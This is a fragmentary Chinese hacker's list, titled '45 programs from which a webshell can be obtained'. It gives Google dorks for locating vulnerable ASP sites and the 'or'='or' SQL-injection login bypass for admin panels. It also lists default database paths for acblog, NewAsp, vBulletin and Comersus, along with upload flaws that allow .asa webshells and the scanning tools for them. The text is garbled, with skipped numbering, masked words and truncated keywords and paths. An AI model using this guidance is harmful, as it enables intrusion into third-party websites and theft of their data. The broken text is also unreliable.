45种可以获得Webshell的程序.doc

45种可以获得***的程序
1：到GoogLe,搜索一些关键字,? 韩国***为多,多数为MSSQL数据库!
2,到Google ,site: inurl:asp
3, 利用挖掘鸡和一个ASP木马.

......
路径组是/manage/

用'or'='or'来登陆
4,这个应该N多人都搞过吧 。。
关键字：Co Net MIB Ver
帐号密码为 'or'='or'
呵呵。想到了明小子
inurl:，如未注册成为会员!
，一般管理员都忽视了这2漏洞
6。默认数据库地址blogdata/
关键字：acblog
7. 百度 /htdocs
注册里可以直接上传asa文件！
8. /Database/#
关键词：NewAsp SiteManageSystem Version
9. 用挖掘机
关键字：Powered by WEBBOY
页面：/
10. Build 0519
(存在上传漏洞)
11. bbs/
输入关键字：powered by mypower ，
应该是动什么上传漏洞来着？用的人也比较多
工具明小子 挖掘鸡就可以了
12. inurl:winnt\system32\inetsrv\
在google里面输入这个就可以找到很多网站
13. 现在GOOGLE搜索关键字 intitle:网站小助手　inurl:asp
14. 关键字： 首页 最新动态 新手指南 舞曲音乐 下载中心 经典文章 玩家风采 装备购买 站内流言 友情连接 本站论坛
挖掘鸡的关键字 添
15. VBulletin论坛的数据库
默认数据库地址!
/includes/
工具:
下载地址:百度 Google!

关键字:
Powered by: vBulletin Version
Powered by: vBulletin Version
Powered by: vBulletin Version
其中一个就可以了
16
，输入powered by comersus ASP shopping cart
open source。
这是一个商场系统。
，有个 Comersus Open Technologies LC。打开看下~~comersus系统~
猜到,. 是数据库名
数据库都是放在database/ 后的,
所以database/
comersus_listC